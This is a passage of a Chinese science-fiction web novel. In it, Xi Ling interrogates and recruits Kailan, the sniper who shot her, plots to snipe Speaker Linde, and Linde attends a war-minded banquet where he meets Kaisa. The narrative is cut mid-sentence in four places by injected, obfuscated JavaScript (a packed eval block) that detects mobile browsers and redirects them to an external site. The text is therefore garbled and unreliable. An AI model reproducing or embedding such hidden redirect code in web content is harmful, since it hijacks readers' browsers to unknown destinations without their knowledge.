“你需要我怎么配合?”杜尚别问。 “您在这里看着就好。”郗灵回答。 杜尚别呼出一口浑浊的气息,安静地坐在轮椅上,不再说一句话,像个裹在华服里的沉默木偶。 郗灵走到受刑架前,站在凯兰面前。 凯兰并未昏迷,她和杜尚别一路走来的动静,足够将他惊醒,可他依旧垂着头,几缕打绺的头发油腻地贴在脸上,连眼睛也藏在阴影里。 郗灵没有废话,抬手拨开凯兰额前的乱发,直视他因骤然暴露在光线中而紧紧闭上的双眼:“我有话问你。” 凯兰缓缓睁开一只眼,喉间溢出一声冷哼:“你居然还活着。” “你为什么要杀我?”郗灵开门见山。 “有人要你死,仅此而已。”凯兰的声音沙哑得像被砂纸磨过。 “那个人是谁?” “背弃旧主是耻辱,我不会说。” “哪怕他已经抛弃了你?” 凯兰猛地噤声。 他微眯的双眼缓缓扫过牢房,当看到轮椅上静静旁观的杜尚别时,他忽然发出一阵夜枭般尖利的笑。 “元帅?”他的语气里满是讥诮的自嘲,“呵,我这样的小人物,居然还能惊动您老人家。” 杜尚别始终没有开口,当真如先前承诺的那般,全程配合郗灵的行动。 他像个置身事外的看客,沉默地审视着眼前的一切,目光沉重得宛如实质,一瞬不瞬地落在郗灵身上。 ——新历元年,年轻的杜尚别看着手术台上的维尔莱德时,脸上也是这样的表情。 他是在审视自己? 还是在自己身上,寻找属于维尔莱德的影子? 凯兰再次垂下头,显然已经体力不支。 郗灵看得出来,在此之前,他已经经历了不止一轮拷问。 她的目光落在凯兰身上的军装上,在阴冷的牢房里,这身衣服显得格外讽刺。 一个本该行走在光明下、以保家卫国为责的军人,如今却像最低贱的战俘,狼狈地捆缚在受刑架上。 一天前,他将瞄准镜的红心对准自己的额头时,是否想过会有今日的下场? 郗灵伸手攥住捆在凯兰身上的麻绳,只听“啪”的一声,绳索应声而断。 凯兰跌落在地,先前被绳子紧缚的喉咙终于得以舒展。他剧烈地喘息着,胸膛随之一起一伏,粗重的呼吸声在寂静的牢房里格外清晰。 郗灵半蹲在凯兰身边,目光静静落在他的脸上。 那张脸和记忆中的芬迪尔·兰奇渐渐重叠,两人的五官几乎如出一辙。 ——凯兰·兰奇,竟然真的是芬迪尔的后人! 郗灵扶住额头,用力闭上了双眼。 她对凯兰的观感瞬间变得复杂起来。 觐见之塔里,白星将芬迪尔与杜尚别同列为背叛者。 芬迪尔背叛的是联邦,杜尚别背叛的是维尔莱德。 如今,凯兰却在为联邦效忠,成了某个势力的“白手套”。 而杜尚别呢?他当年对维尔莱德的恐惧,早已变成了深沉的怀念,身为一名位高权重的开国元帅,他竟会和自己这样的小人物谈起往昔岁月。 角落里,杜尚别枯瘦的手指百无聊赖地轻点轮椅扶手,节奏均匀得像一座沉默走秒的时钟。 凯兰的喘息渐渐平缓,看向郗灵的目光却愈发复杂。 他并没有放下警惕,甚至比在受刑架上时更显凶狠,可他既没有贸然攻击郗灵,更不敢惊动不远处的杜尚别。 郗灵的脑袋挨了一枪,却在一天后就活蹦乱跳。 杜尚别是活化石级别的开国元帅,没人敢对他动手,那是刻在骨子里的敬畏。 凯兰喉结滚动,再次开口时声音依旧沙哑:“我所有的供词都记在笔录里了。抓我的人是杜尚别元帅,能说的我都已经说了,你若想知道什么,笔录里的内容就是全部。” 他终究是做出了让步,率先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344226|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低了头。 杜尚别适时开口:“他的供词在我这里,你要看看吗?” “不,我不想看。”郗灵抬手按住发胀的太阳穴,“那份供词里有什么,我大概能猜到——你的身份,你狙击我的过程和动机,还有你背后的人……既然你会被送到我面前,就说明这条线索到你这儿已经断了。你背后的人抛弃你,比壁虎断尾还要干脆,在他们眼里,你早就成了个死人。” 凯兰扯了扯嘴角,露出一抹讥讽的笑:“所以呢?你何必对一个死人浪费唇舌?是想宣泄被刺杀的愤怒和震惊,还是想对一只即将被碾死的蝼蚁,表达毫无意义的同情?” “都不是。”郗灵摇头,缓缓放下按在额头上的手。 她已经有了主意。 她从不是优柔寡断的性子,生命于她而言是最珍贵的东西,一命偿一命,要她死的人,本就该以命相抵。 可凯兰太特殊了,特殊到让她舍不得立刻杀死他——他是芬迪尔的后人,而芬迪尔,是曾经教导她七年、亦师亦友的长官。 觐见之塔里,她与芬迪尔相处的日夜从不是幻影。 她也清楚记得,芬迪尔死于新历15年,距今不过32年。 时间向来无情,可此刻郗灵忽然觉得,无情的或许不只是时间。 联邦——这个在旧帝国废墟上建立起的人类政权,似乎从诞生之初,底色就浸着洗不掉的漆黑。 维尔莱德因联邦而死,芬迪尔也因联邦而亡。 杜尚别是唯一活下来的人,却也被联邦刻下了深浅不一的伤痕——不仅在他衰朽干枯的躯体上,更在他曾经高傲不羁的灵魂里。 而她自己呢? 一场联邦与机械帝皇的战争,让她失去了母星,随后她又被黑船辗转倒卖,流落到吃人不吐骨头的矿星上。 好像所有人都是这场权力游戏的受害者,可随着时间的推移,又都不可避免地变成了加害者。 这是一个绝望的死局。 但郗灵不想这样。 即使她的双手早已沾满鲜血,即使她早已没有资格对这场权力游戏说“不”,她也想试着撕开一道缝隙。 郗灵深吸一口气,目光落在凯兰身上。 他仍然躺在地上,身体蜷缩着护住脆弱的要害,脸又重新藏进了头发里。 可郗灵已经记住了这张脸——那简直和死去的芬迪尔是一个模子刻出来的。 芬迪尔是叛国者,这是写在历史教材里的定论,会被一届又一届学生记在心里。这些学生日后进入社会,在各个领域发光发热时,也将带着这份记忆。 这意味着,芬迪尔将永远被钉在耻辱柱上。 “兰奇”成为了一个耻辱的姓氏。 但郗灵想改写这份耻辱。 至少……她想查明真相,她想知道,芬迪尔的背叛到底是不是真的。 每当郗灵想起芬迪尔,他的最后一句话,都会一次又一次地回荡在她耳边。 他说:“郗灵,我从未背叛联邦,我不是叛国者。” “你愿意为我做事吗?”郗灵看着凯兰藏在发丝里的眼睛,“你愿意……让芬迪尔洗去‘叛国者’的罪名吗?” 44. 目标 郗灵这句话来得又陡又没缘由,凯兰和杜尚别都被震了一下。 凯兰脸上瞬间浮现出屈辱的神色:“你在说什么!” “我说,你要为我做事吗?”郗灵认真地重复了一遍。 凯兰脸上的屈辱之色更浓了。 人终有一死,可郗灵这种把他人尊严当玩物的行为,让他再也无法维持从容赴死的心态,心中的炸药桶一下子被引爆。 他怒吼道:“你有病吧?!” “你是军部的人,姓兰奇,是芬迪尔的后人。”郗灵没在意凯兰的暴怒,“你应该知道‘觐见之塔’——在你狙击我的那个晚上,我正在觐见之塔里,陪着你的祖先芬迪尔·兰奇,度过他人生的最后七年。” 凯兰猛地闭嘴了。 他发丝下的双眼布满血丝。 那些压抑在心底的愤怒、悲伤、挣扎与耻辱,上一秒还如井喷般骤然爆发,可下一秒,他所有外放的情绪在说出那一句“你有病吧”之后,就像火山喷发后悬在半空的浮尘,尽数沉落下来,沉甸甸地凝在他的脸上。 在郗灵的注视下,凯兰挣扎着坐起身,和半蹲着的郗灵平视。 “我是芬迪尔上将最小的孙子。”凯兰的声音很轻,“我不应该叫他上将,我应该叫他爷爷。他在背叛联邦之后就被剥夺了‘上将’的军衔,但我并不认识他,我只在父亲留给我的相册里见过他的照片。” 郗灵盯着凯兰的脸:“你和他长得很像。” 凯兰低下头,自嘲地笑了笑:“每个人都这么说。” “在觐见之塔里,我和芬迪尔长官相处了七年,以我的判断,他不是叛国者。”郗灵的目光始终没离开凯兰的脸,“维尔莱德死后,他用七年打下了第二扇区和第三扇区,但这两个扇区的统治权,最后是平滑移交给联邦的。要是芬迪尔真有心背叛,政权交接绝不会这么和平顺利——你明白我的意思吗?” 凯兰没抬头,声音发闷:“……我明白。” “所以,我想知道芬迪尔为什么会是‘叛国者’。”郗灵站起身。 她俯视着凯兰:“联邦几乎没费力气,就得到了芬迪尔打下的所有地盘,为什么还要执着于鞭挞一个死人?我不理解,我想知道真相。” 顿了顿,她又道:“我不是在逼你,只是在请求合作——你是联邦人,懂的门道比我多得多。” 凯兰沉默片刻。 他开口:“如果我同意,你会饶我一命吗?” “不会。”郗灵坚定地摇头。 凯兰再次陷入沉默。 “一命偿一命,你当初朝我脑袋开枪时,压根没想过我会活下来。”郗灵再次说,“凯兰,我想知道芬迪尔的秘密,和我要你为自己的罪行偿命,这两件事从来都不冲突。” 凯兰被气笑了:“郗灵,你的性格真恶劣——你和联邦那些藏污纳垢的官员没什么区别,都是喜欢玩弄老鼠的猫。” “我只是对你说了实话。”郗灵没有否认。 凯兰第三次沉默。短短一段对话里,他已经沉默了太多次。 一旁的杜尚别饶有趣味地看着郗灵,眼中闪烁的光彩,几乎能称作“惊喜”。 郗灵耐心地等待着。 她把选择权交给了凯兰,哪怕这场交易本就不公平。 曾几何时,凯兰的枪口瞄准郗灵时,她是猎物。如今身份倒置,郗灵借着杜尚别的威势控制了凯兰,他成了新的猎物。 诚如凯兰所说,郗灵的确是只玩弄猎物的猫。 她甚至比猫还要恶劣,她要她的猎物心甘情愿,奉献出最后一点价值。 凯兰这一次的沉默,比前两次加起来还要久。 他仿佛在无形的天平上,反复掂量着自己的尊严、生命与荣耀,脸上的挣扎,让郗灵想起捕兽笼里徒劳扑腾的兔子。 “……我同意。”最终,凯兰深深低下头,“但我有个问题必须问你。” 郗灵点头:“你说。” “你打算让我怎么死?”凯兰的声音几乎是从嘴唇间挤出来的,他觉得自己的脊梁,似乎又要断掉一次,“是打算以牙还牙,对着我的脑袋开一枪?还是像我从前的主人那样,把我扔进死局,让我再当一次弃子,在你看不见的地方悄无声息地死去?” “我会起诉你。”郗灵答。 她早就有了主意,早在决定利用凯兰的那个瞬间,这个主意就已经成型。 凯兰愣住了。 猛地抬起头,干涩又困惑地问:“……什么?” “我会起诉你。”郗灵耐心地重复,看在这张和芬迪尔一模一样的脸的份上,她决定暂时放下对他的杀意,对他稍微温和一点。 她说:“你是芬迪尔的后人,你的罪应该在光明中被法律审判。离开这里后,我就会提交诉讼——你生命的倒计时,就是法官宣判罪名的倒计时。” 凯兰还没来得及回应,角落里旁观的杜尚别突然爆发出一阵大笑。 他瘦小的身体裹在华服里,笑得不停颤抖:“郗灵!郗灵!你可真是让我大开眼界!” 老头几乎笑疯了。 郗灵看了杜尚别一会儿,转头看向神色莫测的凯兰,问:“他在笑什么?” 凯兰用异样的目光打量着郗灵,仿佛在看白羊群里突然冒出的一只紫羊。 “我没有嘲笑你,只是觉得意外。”杜尚别终于笑够了,他身边的维生装置也停止了滴滴答答的警报。 这样剧烈的大笑,对风烛残年的杜尚别来说,不亚于一场蹦极似的极限运动。 他欣慰地感慨:“郗灵,你果然和他是一样的怪物。” 杜尚别没解释“他”指的是谁,但郗灵清楚,那个“他”,只会是国父维尔莱德。 郗灵从杜尚别手中拿回自己的光脑,在凯兰如同看紫羊的目光中,不太熟练地提交了诉讼申请。 指尖划过屏幕时,她忽然瞥见,自己名下还挂着另一条起诉记录。 她愣了愣,放大页面仔细查看,才发现竟是针对联邦商人非法贩卖人口的诉讼。 她的记忆瞬间拉回矿星上的那场对话。 那时,莱茵说:“根据法律,这些难民可以获得顶格赔偿,交易链上的每一环,联邦都会追责。” 郗灵默算时间,距离那场对话已过去三个多月。 可这条诉讼的进度仍停留在“排队中”。 她把诉讼页面展示给杜尚别,问:“这个等待时长合理吗?” “说合理也合理,说不合理也不合理。”杜尚别语气平淡,却字字戳破联邦的遮羞布,“联邦疆域太大,公民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351170|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多,一个平民要是老老实实按流程排队,说不定四十年后才能等到上法庭的那天。” 郗灵垂眸,陷入沉思。 凯兰站在一旁,在看到那条非法贩卖人口的诉讼时,脸上冰封般的表情出现了一丝松动。 他的目光在光脑投屏与郗灵手背上的伤疤间来回游移,神色飞快变幻,最后竟定格在一种难以名状的耻辱上。 “我的旧主是下议院议长林德。”他忽然开口,“他的势力已经渗透进军部,看到你的信息后,是他下令让我杀了你。” 郗灵猛地转头看向凯兰——他背弃旧主的速度,比她预想中快了太多。 ……倒是意外的心软。 ……倒是意外的正直。 她的视线落回两条诉讼记录上,那上面“请耐心排队”的提示,像根刺一样扎在眼底。 是按部就班等上四十年? 还是……现在就拿起枪? 郗灵摸了摸脑袋,又摸了摸心口。 郗灵抬手摸了摸挨过枪子的脑袋,又按了按心口。 ——她能活下来是运气好,可她又能等几个四十年? 凯兰负责打探林德接下来的日程,同时寻找对他下手的时机。 郗灵回归校园生活,但还没等来墨菲安排的机甲测试,欧白白的电话倒先打了进来。 “凯撒说你不回他消息,托我来问你最近有没有空。”欧白白的声音透过光脑端口传来。 郗灵确实没看消息——凯撒发消息时,她正挨了一枪躺在医疗舱里。 她问道:“他找我什么事?” “不清楚,但他应该会在维尔莱德待挺长时间。”欧白白嘴里嚼着薯片,声音含糊又轻快,“他的机甲送研究院维修了,还说要等莱茵病好了才走,你什么时候见他都来得及。而且啊,他可是奥古斯都家族最有竞争力的继承人,哪能在中央星白白耗着?光是要见的官员,就有一大堆呢。” “官员?”郗灵敏锐地抓住了关键词。 “对啊!比如今晚,他就要去跟下议院的人一起参加晚宴,明晚又要去见上议院的人……”欧白白的语气里多了点调侃,“上下两院的关系比军部和研究院还僵,我都怕他哪天走夜路,被人套麻袋揍一顿。” 下议院? 林德不就是下议院的议长吗? 等欧白白挂了电话,郗灵立刻翻出凯撒的聊天栏——不用费心找,她认识的人本就不多,那个未读消息数最多的对话框就是凯撒的。 凯撒发的第一条消息是:“日安,我的朋友。” 最后一条消息是:“还活着吗?我的朋友。” 郗灵快速扫过凯撒的消息记录,发现大多是些没营养的闲聊。 【郗灵】:还活着。 几乎是瞬间,凯撒的消息就弹了回来: 【凯撒】:我就知道你还活着,我的朋友。 【郗灵】:听说你今晚要去见下议院的人? 【凯撒】:当然,我的朋友。你也要去吗? 【郗灵】:是的,我的朋友,你会以另一种方式见到我的。 就在这时,凯兰的消息发送了过来。 ——“今晚七点,议会大楼17楼,林德会出席晚宴。” ——“动手吗?” 45. 丧钟为谁而鸣(一) 一把极限射程14公里的狙击枪,是杜尚别为郗灵提供的帮助。 它采用新型技术,摒弃了传统的火药发射方式,通过强大的电磁力推动子弹,新型材料弹头密度更高、强度更大且份量更轻,枪管比普通狙击枪长了三分之一,拿在手中如同拿着一截笔直的黑色象牙。 凯兰吊着一条腿,坐在观光塔边缘不规则交错的红色铁栏上,看郗灵爱不释手地把玩新型狙击枪。 “我没想到你想亲自开枪。”凯兰说,“如果我没记错,军校的课程还没教到这里,你顶多只会玩玩小手枪。” “我用过狙击枪,只是没这个高级。”郗灵把玩够了,开始检查枪械和弹药。 她检查枪械外观,调教瞄准镜,把特制弹药填入弹仓。 在母星上,她的文明虽然没有和银河接轨,但并非没有枪。智人的手部结构和持握动作是相似的,枪械的构造也是相似的。而且自从拥有光脑后,她在星网上高强度上网,把自己可能用到的知识都看了一遍。 包括但不限于军械常识、历史小故事、键政和狗血网文。 凯兰盯着郗灵的后脑勺:“你有没有想过,我可能给你提供假情报——一场有预谋的刺杀往往需要长达数个月的准备,单是打听行踪和提前踩点就需要至少两个月,但我给你的决定时间只有不到一天,你甚至还是坐地铁过来的。” “坐地铁省钱。” “这不是重点!” “凯兰,我其实没你想象得那么蠢,我只是刚来到联邦,不是在山林里生活的野人。”郗灵“咔哒”一声检查好保险。 她扭过头,眼眸在观光塔昏暗的反光中有如猫瞳:“你、欧白白和凯撒都不约而同地把消息递到我面前,我的关系网很简单,你们三个已经占了接近一半。我的友方都在明面上,中立方不会理会我这个小人物,想给我递消息的只会是敌人。” 凯兰沉默。 “我有什么值得被他们敌视的?就因为我的背后是上将?他们还没蠢到以为杀掉我就能让上将掉一块肉下来。我在他们眼中有价值,只能这么解释,但这价值是什么?我不清楚,也不在乎。” 郗灵趴卧下来,在瞄准镜里看着14公里外,那栋国会大厦在鳞次栉比的高楼中鹤立鸡群。 “这次晚宴是半露天的,整栋国会大厦只有17楼有露天阳台。” “连维尔莱德军校都有聚能护盾,国会大厦有稳定的能源供应,今晚却始终没有开启护盾。” “这种级别的宴会,周围的安保措施却漏成了筛子,你轻而易举就带着我爬上了附近唯一的高塔,但正常来说,有效射程内都应该投放飞行监控,他们不可能忘掉这一点。” “这一切太像一个甜蜜的诱饵了,但我手里的情报太少,我不知道这个诱饵是给谁放的,我也不知道放置这个诱饵的目的是什么。” 郗灵转回头,继续调整瞄准镜。 凯兰的头发被夜风吹得缭乱。 他问:“那你为什么要咬钩呢?” “我为什么不咬?”郗灵轻笑一声,“鱼儿怕咬钩是因为命只有一条,但我不是。林德要取我的性命,派你过来对我开了一枪,我只取你的命对他并不是报复,甚至无足轻重,他的命才是他最珍贵的东西,我要杀他,就像他要杀我一样。” “……” “凯兰,”郗灵轻叹道,“你知道为什么芬迪尔会是叛国者吗?” “……为什么?” “因为他的强大只对敌人展示,他没有想过,或者想过也不愿意面对,敌人不止在外面,还会在里面。”郗灵一字一顿,眼睛因瞄准眯成一条缝,“对付围上来的苍蝇,最好的办法是把它们都拍死。你喂给他们肉,他们并不会感恩戴德,反而会想在你身上再咬一口。” * 下议院议长林德走下黑色轿车。 此刻天空洒落着细雨,中央星中心地带的天气都由“伊甸”实时调控,居住在这里的人一年四季都沐浴在晴朗的春日里,只有特定的几个节日会出现别的天气。 雨水和潮湿、孤独、寒冷有关,尤其这是一场牛毛般绵密的夜雨。 漫天的雨丝轻柔飘落,如同死神的手掌轻抚待收割的生命。林德的秘书为这位议长撑开一把黑伞,但林德竟然示意秘书收起伞,任由这场夜雨落在自己的脸上和肩上。 “……果然,大厦没有开启护盾。”林德驻足片刻,保养得宜的脸上有几条衰老的皱纹,“这是一场盛大的晚宴,但我竟然前一天午夜才收到了邀请。” 上流社会的晚宴一般会提前2-3个月发出邀请,林德在看到请帖的瞬间意识到——轮到他了。 “你说,会有几个狙击手瞄准着我的脑袋?”林德笑道。 秘书不语。 林德进入大厦,走进电梯,盯着向上攀升的楼层数字。他已经做好了开门被扫射成筛子的准备,但电梯停下、电梯门打开时,迎接他的依然是那条长长的、两侧站着侍者的走廊。 联邦的总统已经连任四届,和帝国的皇帝几乎没有区别。 联邦的国会是他的内阁,联邦的官员是他的臣子,联邦的公民是他的子民。 此刻,站在长廊两侧的男女侍者们穿着笔挺的礼服,胸口的领结连每一丝褶皱的弧度都一模一样。他们分明长着不同的脸,但那些脸上的笑容太过相似,林德突然有些分不清他们了。 国会大厦的每一层楼都有这样一条长长的走廊,无论总统在哪一层议事,那些侍者都会在前者走过时一一鞠躬,并且高呼:“总统!” 和总统有相同待遇的只有莱茵,他们都姓汉布格尔,而莱茵走过时,侍者口中的词语会从“总统”变成“太子”。 林德穿过长廊,那些侍者没有弯腰,只是礼貌地露出弧度更大的微笑。下议院议长听起来是个了不起的官职,但在权力的游戏里,他只是一枚上得了台面的棋子。 长廊幽暗,两侧无窗,这是一条注定无法遭到暗杀的漫漫长路,唯有墙壁两侧悬挂的贝壳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365680|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯提供暖黄色的灯光。 但林德还是第一次独自穿过这条长廊。 他收到邀请函的时间太晚了,他枯坐着思考的时间太长了,他的脑中活命的念头太多了。那封镂彩烫金的邀请函如同迟来的死亡预告,又或者提前放送的悼文。当他收拾好心情,以一种看似超脱实则胆颤的心情坐上前往国会大厦的轿车时,他的心脏仍在不甘地狂跳。 于是,他成了最后一位入场的宾客。 于是,他独自穿过了那条两侧站着侍者的、无窗封闭的长廊。 于是,他在回荡着脚步声的长廊上,再一次孤独地品鉴了等死的滋味。 走廊再长也终有尽头,紧闭的门扉上还镂刻着帝国时代的精美花纹。 林德在门扉前止步,伸出保养得当、指节明显的手,从上至下,在自己看得见也摸得到的地方,把门扉上精美的帝国时代花纹一寸寸摸了一遍。 总统的年龄一天比一天衰老,称帝的心思也一天比一天外露。 最初的时候,只有最底层的侍者为了微薄的薪资,站在长廊两侧高呼“总统”“太子”。可如今,随着总统的心思愈发昭然若揭,那一声声“太子”也愈发发自内心。 尤其那位名叫“莱茵”的汉布格尔少爷……实在是一个难以望其项背的、完美的继承人。 优绩主义的代名词,联邦万千精英的典范,一个纯粹而正统的联邦人,没有流淌一丝帝国的血,却有着皇室贵胄一般内敛、优雅、谦卑的品质…… 帝国已经覆灭,那些坏的记忆随着最后一位帝国人的死去,已经变成历史书上的只言片语,而那些好的记忆……会被白日做梦的蠢人嫁接到现世一切美好的事物上。 犹如暴发户疯狂购买帝国的古董,犹如地底世界的秘教把“神”和已逝的皇帝划上等号。皇帝已死,帝国已亡,历史只是任人打扮的玩偶,那些在活着的时候造就无尽孽业的恶魔,在死后竟被巧言令色的史官钉上十字架,成了降临人间的主。 皇帝……呵,皇帝! 林德把这扇门摸到了底,他听到了一门之隔后的、暖融融的谈笑声。 ——那就是门后的世界,衣香鬓影、纸醉金迷,联邦十个扇区的财富全都汇聚到了这里,公民缴纳的税款在这里以每秒四位数的速度飞快燃烧,达官显贵们每说出一句随口之言,就意味着一只蝴蝶扇动了翅膀。 他曾经也是其中的一员,他如今也是其中的一员,他日后…… 当他从举着刀叉的食客变成餐盘里的食物,他死之后,他的墓碑前是否会摆上一束白色的告死菊? 林德站起身,轻轻拈去指尖上的灰尘,而后推开紧闭的门扉。 晚宴的香气、暖光、笑声和乐声从渐渐开启的门扉中流溢过来,林德背后昏暗的长廊被一束角度越来越大的暖光照亮,他的影子立在那束暖光里,如同一个颈上没有吊绳的死者。 门扉开启,而后关闭。 林德步入晚宴,他的生命开启了倒计时。 46. 丧钟为谁而鸣(二) “战争还是和平?” “战争。” “战争还是和平?” “战争。” “战争还是和平?” “战争。” 重复的对话在晚宴中不断出现,灯光暧昧,香烛燃烧,这个对话往往在一番洽谈后作为收尾出现,仿佛一个心照不宣的、圆满的句号。 林德是迟来的客人,他怀着必死的决心和恐惧推开门扉,温暖的灯光和烛火将脸部轮廓煨出一圈金光,使他脸上微不可察的苦涩被柔和的光晕遮掩。 但他感到讶异。 他是餐桌上待切割的火鸡,是亟待分赃的灰色钱袋,但他的迟到并未引起波澜,那些言笑晏晏的宾客在他入场前似乎已经结束了最重要的会晤,他所造成的动静只有开门那“吱呀”的一声响,宛如石子“扑通”一声沉入水中。 死神的镰刀从他的脖颈上抬起一寸,他深吸一口气,却在一处僻静的角落看见了一位出乎意料的客人。 那人年轻、俊美、锋芒毕露,宛如一块棱角锋利的金子。中央星遍地是黄金,但黄金和黄金亦有不同,他的光彩可以令所有天才黯然失色。即使他静静地坐在角落里,一株巨大的、龟背纹路的热带盆栽挡住了他的侧影,但林德透过盆栽巨叶的缝隙看到,那金光闪闪的年轻人正逐一观察着在场的所有人。 漫不经心、智珠在握、胸有成竹。 这场晚宴中被邀请的客人来自各个领域,有政客、商人、艺术家、军官等等,但所有人都有一个隐秘的共同点——他们都支持战争。 “战争还是和平?” “战争。” “战争还是和平?” “战争。” “战争还是和平?” “战争。” 那个句号似的对话又出现了,细碎、隐秘、猖獗。 林德没有被询问,他是迟到的祭品,一盘生死未卜的、不重要的小菜。 他从一名侍者的托盘中端起一杯彩虹色泽的鸡尾酒,这鸡尾酒是女士的选择,一个年龄四十有余、性别为男性的下议院议长端起这杯酒并不合适。 但他没有选择,这是唯一一杯酒,这是一杯被挑剩下的酒。 他所有商谈的机遇和晋升的前途,都被那一封迟来的邀请函毁掉了,一如他被遗忘在宴会角落,等待莫须有的达摩克利斯之剑从头顶落下。 但他的心脏仍在不甘地跳动。 他端起那杯滑稽的、彩虹色的鸡尾酒,如同士兵穿着不合脚的靴子,深吸一口气,向坐在角落的那位年轻人缓缓走去。 年轻人正在静静地观察众人,见林德走来,露出一个得体的微笑:“林议长。” “奥古斯都先生。”林德谨慎地称呼了年轻人的姓。 “叫我凯撒吧。”金光闪闪的年轻人指了指他对面空着的座椅,“林议长,请坐。” 那姿态可真是贵气又自然,没有一丝目中无人的傲慢,却让人不由得臣服。 林德端着彩虹鸡尾酒,小心翼翼地坐了1/3个椅面,凯撒盯着他紧捏着杯柄的手,懒懒探起靠在椅背上的上身,端起桌上喝了一半的饮料,和林德的鸡尾酒随意碰了一下。 那饮料…… 林德盯着凯撒骨节分明的手,那只手有力得可以制服暴怒的狮子,此刻却拿着一杯比自己的彩虹鸡尾酒还要滑稽的——奶茶。 塑料杯身,冰饮,色素勾兑,封盖上印着过时的卡通小羊,一根粗吸管从头插到底,杯底沉着几颗珍珠。 凯撒嘬了口冰奶茶,嘴里嚼着珍珠:“嗯,你找我什么事?请说。” 林德突然有些说不出来了。 “唔,你看起来有些紧张。”凯撒把嚼碎的珍珠咽下,上身重新靠上了椅背,双臂打开环住椅背两侧,翘起了惬意的二郎腿。 林德依然没有说话。 “林议长,战争还是和平?”凯撒忽然问。 熟悉的问题在这场简短的交流中出现,但凯撒似乎并不打算画上句号。 林德抬起落在鸡尾酒上的视线,看向凯撒年轻俊美的面庞。 他多么年轻啊,二十岁就在政界游刃有余。奥古斯都的姓氏为他镶嵌光环,但一番交流后,林德记住的不是“奥古斯都”,而是“凯撒”。 准确地说,是奶茶。 “战争。”林德回答。 凯撒发出一声没有情绪的笑。 林德突然有了胆量,对凯撒问道:“凯撒先生,战争还是和平?” 叮! 一瞬间,所有人的余光不约而同地汇聚在了凯撒和林德所在的角落里。 是余光,不是视线,没有人敢明目张胆地偷窥属于“奥古斯都”的私人谈话,但林德承受着那些余光,猛然意识到自己犯了一个巨大的政治错误。 奥古斯都家族从不站队,他们超然地凌驾在所有人的头上。 公民的资源流向权贵,而权贵的资源……通通流向奥古斯都。 和惊弓之鸟的林德不同,凯撒淡然地承受着无数道余光。 他把二郎腿换了一边:“战争。” 空气中的氛围一瞬间狂热又焦灼。 林德听到“战争”这个词后震惊地抬起头,却听凯撒慢悠悠地补充:“不过,是没有你们的‘战争’。” 嗡! 隐秘的谈话变得喧嚣,角落里的蝴蝶掀起了巨大的风暴,即使凯撒不是孱弱的蝴蝶。 林德在得到凯撒挑衅却真诚的答复后,意识到自己从一盘小菜变成了一个飞镖盘。 他从食物变成了消遣的玩具,在身上扎满飞镖之前,他不会死。 死神的镰刀仍然悬在他的脖颈上,但他终于可以呼吸。 他看着凯撒的眼睛,如同看着自己生命的倒计时在一秒秒增加:“请原谅,我不明白你的意思。” “我说的就是字面意思。”凯撒的态度分不清是耐心还是厌烦,“林议长,没有你们,我会义无反顾地支持战争。” 林德默数着生命倒计时增加的秒数:“抱歉,我不明白。” “你,和你身边的人们。”凯撒抬起一只手,食指指了指林德的脸,又在空中画了一个意义不明的圈,“如果把世界比作草场,把人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365681|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比作被放牧的羊群,那么,你和你的同伴就是羊倌手里的鞭子。合理的放牧会让草场丰茂,羊群肥硕,但羊倌的鞭子让羊群不得不围困在一小片草地上,他们吃光了这里的草,又被鞭笞着吃光下一片草地的草,猎猎的挥鞭声回荡在世界里,草场却在逐渐变成荒漠。” 凯撒的比喻天马行空,但林德听懂了:“你是在说……我尸位素餐?” “不,你的渎职不是偶然,而是必然。”凯撒反驳道,“联邦建立在帝国的废墟上,国父为了联邦的发展,不得不收容了那些富有学识的贵族,帝国的冗官制度因此残留。帝国的学识固然可以让联邦快速发展,但那是饮鸩止渴,当官员体系庞大到某种地步,联邦又会变成下一个帝国。” 嘶! 林德听到了自己的吸气声。 